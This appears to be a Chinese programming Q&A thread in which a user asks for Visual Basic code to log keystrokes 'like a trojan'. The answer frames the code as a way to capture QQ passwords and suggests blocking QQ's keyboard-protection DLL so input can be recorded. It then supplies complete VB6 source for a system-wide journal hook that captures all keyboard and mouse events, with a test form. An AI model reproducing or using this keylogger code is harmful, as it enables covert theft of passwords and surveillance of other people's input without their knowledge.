Question

vb 怎样纪录键盘信息

vb纪录键盘的信息，就像木马程序那样纪录键盘的输入，请高手给出代码。
当键盘上的健有按下时触发程序代码。

Answer 1

如果说是记录QQ密码时记录的不是真实密...
知道为什么吗？因为QQ用了自己的键盘驱动，键盘加密技术，没有办法记录下来。

祢想记录QQ密码的话，可以试一下下面的方法。不知道可不可行
我记得好象是:npkcntc.dll ,你得让你的程序在QQ启动前屏蔽它,才能在QQ输入密码得成功记录..

一、新建一个ActiveX Dll工程，名字栏里取名为SysHook

二、添加一个模块，取名为mHook，添加代码如下：

Option Explicit
Type POINTAPI
x As Long
y As Long
End Type

Type TMSG
hwnd As Long
message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public hJournalHook As Long, hAppHook As Long
Public SHptr As Long
Public Const WM_CANCELJOURNAL = &H4B

Public Function JournalRecordProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode < 0 Then
JournalRecordProc = CallNextHookEx(hJournalHook, nCode, wParam, lParam)
Exit Function
End If
ResolvePointer(SHptr).FireEvent lParam
Call CallNextHookEx(hJournalHook, nCode, wParam, lParam)
End Function

Public Function AppHookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode < 0 Then
AppHookProc = CallNextHookEx(hAppHook, nCode, wParam, lParam)
Exit Function
End If
Dim msg As TMSG
CopyMemory msg, ByVal lParam, Len(msg)
Select Case msg.message
Case WM_CANCELJOURNAL
If wParam = 1 Then ResolvePointer(SHptr).FireEvent WM_CANCELJOURNAL
End Select
Call CallNextHookEx(hAppHook, nCode, wParam, ByVal lParam)
End Function

Private Function ResolvePointer(ByVal lpObj&) As cSystemHook
Dim oSH As cSystemHook
CopyMemory oSH, lpObj, 4&
Set ResolvePointer = oSH
CopyMemory oSH, 0&, 4&
End Function

三、把工程自动建立的Class1类模块改名为cSystemHook，添加代码如下：

Option Explicit
Public Event MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event KeyDown(KeyCode As Integer, Shift As Integer)
Public Event KeyUp(KeyCode As Integer, Shift As Integer)
Public Event SystemKeyDown(KeyCode As Integer)
Public Event SystemKeyUp(KeyCode As Integer)

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState% Lib "user32" (ByVal vKey As Long)

Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_MOUSEMOVE = &H200
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_MBUTTONDOWN = &H207
Private Const WM_MBUTTONUP = &H208
Private Const WM_MBUTTONDBLCLK = &H209
Private Const WM_MOUSEWHEEL = &H20A
Private Const WM_SYSTEMKEYDOWN = &H104
Private Const WM_SYSTEMKEYUP = &H105

Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3

Private Type EVENTMSG
wMsg As Long
lParamLow As Long
lParamHigh As Long
msgTime As Long
hWndMsg As Long
End Type

Dim EMSG As EVENTMSG

Public Function SetHook() As Boolean
If hJournalHook = 0 Then hJournalHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, App.hInstance, 0)
If hAppHook = 0 Then hAppHook = SetWindowsHookEx(WH_GETMESSAGE, AddressOf AppHookProc, App.hInstance, App.ThreadID)
SetHook = True
End Function

Public Sub RemoveHook()
UnhookWindowsHookEx hAppHook
UnhookWindowsHookEx hJournalHook
End Sub

Private Sub Class_Initialize()
SHptr = ObjPtr(Me)
End Sub

Private Sub Class_Terminate()
If hJournalHook Or hAppHook Then RemoveHook
End Sub

Friend Function FireEvent(ByVal lParam As Long)
Dim i%, j%, k%
Dim s As String
If lParam = WM_CANCELJOURNAL Then
hJournalHook = 0
SetHook
Exit Function
End If

CopyMemory EMSG, ByVal lParam, Len(EMSG)
Select Case EMSG.wMsg
Case WM_KEYDOWN
j = 0
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
RaiseEvent KeyDown(k, j)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_KEYUP
j = 0 'fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
RaiseEvent KeyUp(k, j)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_MOUSEMOVE
i = 0 'fixed by JJ
If GetAsyncKeyState(vbKeyLButton) Then i = (i Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyRButton) Then i = (i Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMButton) Then i = (i Or 4) 'fixed by JJ
j = 0 'fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) 'fixed by JJ
RaiseEvent MouseMove(i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
i = 0 'fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) 'fixed by JJ
RaiseEvent MouseDown(2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP
i = 0 'fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) 'fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) 'fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) 'fixed by JJ
RaiseEvent MouseUp(2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_SYSTEMKEYDOWN
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
If k <> vbKeyMenu Then RaiseEvent SystemKeyDown(k)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_SYSTEMKEYUP
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
If k <> vbKeyMenu Then RaiseEvent SystemKeyUp(k)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) 'fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case Else
End Select
End Function

四、千万别望了保存（否则你要后悔的），编译生成DLL，然后可以测试了，做一个普通的工程，添加引用SysHook，在窗体中添加测试代码（嘿嘿，可能你会吃点苦头）：

Option Explicit
Dim WithEvents sh As cSystemHook

Private Sub Form_Load()
Set sh = New cSystemHook
sh.SetHook
End Sub

Private Sub Form_Unload(Cancel As Integer)
sh.RemoveHook
Set sh = Nothing
End Sub

Private Sub sh_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 1 Then
MsgBox "你按了左键"
End If
If Button = 2 Then
MsgBox "你按了右键"
End If
End Sub

五、接着你可以试试全局的下列事件（记住刚才的教训，可要小心哦）：

Private Sub sh_KeyDown(KeyCode As Integer, Shift As Integer)

End Sub

Private Sub sh_KeyUp(KeyCode As Integer, Shift As Integer)

End Sub

MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)

End Sub

Private Sub sh_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)

End Sub

Private Sub sh_SystemKeyDown(KeyCode As Integer)

End Sub

Private Sub sh_SystemKeyUp(KeyCode As Integer)

End Sub